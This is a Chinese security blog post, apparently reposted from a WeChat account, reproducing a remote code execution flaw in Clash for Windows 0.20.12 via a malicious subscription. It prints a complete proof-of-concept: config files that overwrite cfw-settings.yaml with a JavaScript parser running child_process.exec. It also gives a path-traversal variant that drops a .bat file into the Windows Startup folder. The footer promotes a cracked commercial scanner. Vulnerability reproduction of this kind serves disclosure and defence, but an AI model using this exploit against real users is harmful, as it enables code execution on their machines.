Clash for windows又爆远程代码执行高危漏洞 漏洞复现

admin 2023年1月18日21:29:50评论2,211 views字数 2241阅读7分28秒阅读模式
免责声明
本公众号所分享的一切内容皆仅用于相关专业方向从业者学习交流 由于传播、利用本公众号所提供的任何信息而造成的任何直接或者间接的影响及损失均由使用者本人负责,本公众号及原作者不为承担任何责任,一切后果皆由使用者自行承担!

Clash for windows又爆远程代码执行高危漏洞 漏洞复现


cfw的这个漏洞出来也有几天了, 一直比较忙, 没有空去看, 今天研究一下


软件版本

0.20.12

漏洞描述

Windows 上的 clash_for_windows 在 0.20.12 在订阅一个恶意链接时存在远程命令执行漏洞。因为对订阅文件中 rule-providers 的 path 的不安全处理导致 cfw-setting.yaml 会被覆盖,cfw-setting.yaml 中 parsers 的 js代码将会被执行。


漏洞分析:

根据描述, 不难看出该漏洞的原理是利用了clash的规则提供者进行远程更新的时候对路径的不安全处理导致可以覆盖掉clash for windows的配置文件, 而clash的的配置文件中又保存了clash for windows的各种设置, 如pasers等...而pasers这项功能可以实现执行JavaScript代码, 实现通过js来调用本地的应用程序等功能, 从而获得各种系统权限


复现步骤

这里我们使用一个网上他人已经制作好的在线clash配置yaml文件, 文件内容为该段poc, 其中的url字段为在线服务器的url/ip地址, 这样由该yaml形成的clash订阅地址就成为了我们的利用的关键点, 一旦任何一个订阅地址中被攻击者插入该恶意代码, 即可对订阅者造成危害.

Clash for windows又爆远程代码执行高危漏洞 漏洞复现

在进行远程的订阅地址下载后会进行更新, 该更新会将本地的配置文件进行覆盖.

clash默认的配置文件存放在C:/Users/$username/.config/clash

Clash for windows又爆远程代码执行高危漏洞 漏洞复现


打开刚刚的配置文件, 根据其中的内容, 我们可知其插入的这段代码会调用电脑的计算器

Clash for windows又爆远程代码执行高危漏洞 漏洞复现

现在再对clash的任何配置文件进行手动更新, 都会无法更新, 因而只有重启clash客户端后才会产生效果, 此时如果重启了clash for windows客户端, 再次对订阅地址进行更新或者下载任何新的订阅(不论是不是被插入恶意代码的订阅)都会执行cfw-settings.yaml中的恶意代码, 这里可见不论更新哪个订阅都会启动计算器, 该漏洞截止至发文日还未被修复

Clash for windows又爆远程代码执行高危漏洞 漏洞复现

Clash for windows又爆远程代码执行高危漏洞 漏洞复现

PoC

config.yaml

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true

rule-providers:
p:
type: http
behavior: domain
url: "http://this.your.url/cfw-settings.yaml"
path: ./cfw-settings.yaml
interval: 86400

cfw-settings.yaml

payload:
- DOMAIN-SUFFIX,acl4.ssr,全球直连
showNewVersionIcon: true
hideAfterStartup: false
randomControllerPort: true
runTimeFormat: "hh : mm : ss"
trayOrders:
- - icon
- - status
- traffic
- text
hideTrayIcon: false
connShowProcess: true
showTrayProxyDelayIndicator: true
profileParsersText: >-
parsers:
- reg: .*
code:
module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => {
require("child_process").exec("calc.exe");
return raw;
}


其他补充

由于是rule-providers的自定义path的问题,还有其他利用方式,比如用目录穿越写入开机启动项
path: ../../../../../../Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/hack.bat
不过杀毒软件会弹框


漏洞披露:

https://github.com/Fndroid/clash_for_windows_pkg/issues/3891



往期推荐

一款功能强大的Java自动代码审计工具

一款针对Java语言的静态代码分析工具

2022年Top20黑客工具

还没抢到票?免费抢票神器给你!

一款功能强大的全自动白帽漏洞扫描器

听声识键!只需要通过键盘敲击声就可以获取你的按键输入

元旦快乐! 安全X档案 2022年末文章汇总~ 团队召集成员

ONE-FOX单兵武器库贺岁版3.0今天他来啦~

linux实战清理挖矿病毒

漏扫工具Invicti-Professional(原Netsparker)最新破解版

时欢迎各位加入交流群进行交流,群里会不定期的分享一些工具和教程,添加时请根据您的来意备注安全交流或软件资源交流

Clash for windows又爆远程代码执行高危漏洞 漏洞复现

Clash for windows又爆远程代码执行高危漏洞 漏洞复现


原文始发于微信公众号(安全X档案):Clash for windows又爆远程代码执行高危漏洞 漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月18日21:29:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Clash for windows又爆远程代码执行高危漏洞 漏洞复现https://cn-sec.com/archives/1520358.html

发表评论

匿名网友 填写信息